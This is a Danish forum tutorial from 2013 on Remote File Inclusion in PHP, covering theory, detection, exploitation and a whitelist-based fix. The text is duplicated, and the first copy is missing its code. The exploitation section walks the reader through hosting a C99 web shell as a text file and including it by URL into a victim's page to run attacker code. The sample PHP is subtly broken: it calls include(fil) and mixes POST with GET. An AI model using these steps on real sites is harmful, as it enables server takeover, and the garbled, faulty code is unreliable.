23-02-2013, 15:22
NOTE: Det her er kun til uddannelsesmæssige formål alene. Der tages intet ansvar for forkert brug af dette.
Indholdsfortegnelse
1. Teori
RFI(Remote File Inclusion) er hvor hackeren kan inkludere en ekstern fil, typisk via et script såsom .asp/.php på web serveren.
RFI sårbarhed opstår når en fil skal inkluderes og brugeren kan vælge hvilken fil. Selve fejlen består så i at scriptet ikke validere om hvorvidt det er noget ordentligt der bliver sat ind, og at alle kan sætte noget ind.
2. Finde sårbarheden
For at finde sårbarheden skal du først finde en side hvor brugeren kan vælge hvilken fil der skal inkluderes. Dette kan være meget svært da man ikke kan se kildekoden til scriptet.
Jeg vil vise et lille eksempel for at klargøre hvad du skal kigge efter:
Lad os sige at fru. hansen har en side hvori vi hun inkludere nogle tekstfiler via .php .
Den side hedder www.fruhansen.dk
php filen ligger på hendes server og hedder hentfil.php
Filen der inkludere hendes tekstfiler kunne se sådan her ud:
Det hendes kode nu ville gøre var at modtage en post parameter fra form'en som enten er regnskab.txt eller kageopskrift.txt
Men som folk nok kan se, er der ingen verifikation, på om det i virkeligheden er regnskab.txt eller kageopskrift.txt der bliver inkluderet. Det kunne ligeså godt være hvilken som helst fil.
Måden vi finder ud af om dette er muligt, eller om den tjekker hvad vi skriver er blot ved at sende nogle falske post parametre til hendes side.
Du kunne f.eks se om du kunne smide et af dine egne tekstdokumenter derind.
Så i stedet for at du spørger om regnskab.txt kan du jo se om den vil inkludere din egen fil i stedet.
Så:
www.fruhansen.dk/hentfil.php?fil=regnskab.txt
Bliver til:
www.fruhansen.dk/hentfil.php?fil=www.dinhjemmeside.com/dinfil.txt?
Hvis du kan dette har du nu succesfuldt fundet en RFI sårbarhed og er klar til at rykke videre
2. Udnyttelse af sårbarheden
Den letteste måde at udnytte en sårbarhed som denne er med shells. For at finde et shell eller finde ud af hvad det er så kig i Ekstra referencer.
Husk at nogle shells kan være backdoored. Dvs. at nogle har adgang til din bagdør.
Men når du har anskaffet dig et shell(Jeg anbefaler C99) er du klar til at udnytte en RFI sårbarhed.
Det første du skal gøre er at uploade dit shell på din egen side i tekst format. Sådan så det ikke bliver loaded på din egen side som en .php fil.
Når du har gjort dette finder du dit link til dit shell.
Dette kunne være.
www.dinhjemmeside.com/ditshell.txt
Det du gør nu er, som tidligere at inkludere filen i din offers side.
www.fruhansen.dk/hentfil.php?fil=www.dinhjemmeside.com/ditshell.txt?
Spørgsmåls tegnet er vigtigt, da filen så vil bliver loaded som PHP.
4. Beskyttelse mod RFI
For at beskytte sig selv mod RFI skal man blot verificere det brugeren sender afsted.
Den gamle kode:
Den nye:
5. Ekstra referencer
Hvad er et shell? Hvor kan jeg få et?
Indholdsfortegnelse
- Teori
- Finde sårbarheden
- Udnyttelse af sårbarheden
- Beskyttelse mod RFI
- Ekstra referencer
1. Teori
RFI(Remote File Inclusion) er hvor hackeren kan inkludere en ekstern fil, typisk via et script såsom .asp/.php på web serveren.
RFI sårbarhed opstår når en fil skal inkluderes og brugeren kan vælge hvilken fil. Selve fejlen består så i at scriptet ikke validere om hvorvidt det er noget ordentligt der bliver sat ind, og at alle kan sætte noget ind.
2. Finde sårbarheden
For at finde sårbarheden skal du først finde en side hvor brugeren kan vælge hvilken fil der skal inkluderes. Dette kan være meget svært da man ikke kan se kildekoden til scriptet.
Jeg vil vise et lille eksempel for at klargøre hvad du skal kigge efter:
Lad os sige at fru. hansen har en side hvori vi hun inkludere nogle tekstfiler via .php .
Den side hedder www.fruhansen.dk
php filen ligger på hendes server og hedder hentfil.php
Filen der inkludere hendes tekstfiler kunne se sådan her ud:
// filnavn: hentfil.php
<?php
$filAtHente = $_POST["fil"];
include(fil);
?>
<form method="post">
<select name="fil">
<option value="regnskab.txt">
<option value="kageopskrift.txt">
</select>
</form>
Det hendes kode nu ville gøre var at modtage en post parameter fra form'en som enten er regnskab.txt eller kageopskrift.txt
Men som folk nok kan se, er der ingen verifikation, på om det i virkeligheden er regnskab.txt eller kageopskrift.txt der bliver inkluderet. Det kunne ligeså godt være hvilken som helst fil.
Måden vi finder ud af om dette er muligt, eller om den tjekker hvad vi skriver er blot ved at sende nogle falske post parametre til hendes side.
Du kunne f.eks se om du kunne smide et af dine egne tekstdokumenter derind.
Så i stedet for at du spørger om regnskab.txt kan du jo se om den vil inkludere din egen fil i stedet.
Så:
www.fruhansen.dk/hentfil.php?fil=regnskab.txt
Bliver til:
www.fruhansen.dk/hentfil.php?fil=www.dinhjemmeside.com/dinfil.txt?
Hvis du kan dette har du nu succesfuldt fundet en RFI sårbarhed og er klar til at rykke videre
2. Udnyttelse af sårbarheden
Den letteste måde at udnytte en sårbarhed som denne er med shells. For at finde et shell eller finde ud af hvad det er så kig i Ekstra referencer.
Husk at nogle shells kan være backdoored. Dvs. at nogle har adgang til din bagdør.
Men når du har anskaffet dig et shell(Jeg anbefaler C99) er du klar til at udnytte en RFI sårbarhed.
Det første du skal gøre er at uploade dit shell på din egen side i tekst format. Sådan så det ikke bliver loaded på din egen side som en .php fil.
Når du har gjort dette finder du dit link til dit shell.
Dette kunne være.
www.dinhjemmeside.com/ditshell.txt
Det du gør nu er, som tidligere at inkludere filen i din offers side.
www.fruhansen.dk/hentfil.php?fil=www.dinhjemmeside.com/ditshell.txt?
Spørgsmåls tegnet er vigtigt, da filen så vil bliver loaded som PHP.
4. Beskyttelse mod RFI
For at beskytte sig selv mod RFI skal man blot verificere det brugeren sender afsted.
Den gamle kode:
// filnavn: hentfil.php
<?php
$filAtHente = $_POST["fil"];
include(fil);
?>
<form method="post">
<select name="fil">
<option value="regnskab.txt">
<option value="kageopskrift.txt">
</select>
</form>
Den nye:
// filnavn: hentfil.php
<?php
$filAtHente = $_POST["fil"];
if($filAtHente=="regnskab.txt" || $filAtHente=="kageopskrift.txt"){
include(fil);
}else{
echo "Du sender forkerte parametre!";
}
?>
<form method="post">
<select name="fil">
<option value="regnskab.txt">
<option value="kageopskrift.txt">
</select>
</form>
5. Ekstra referencer
Hvad er et shell? Hvor kan jeg få et?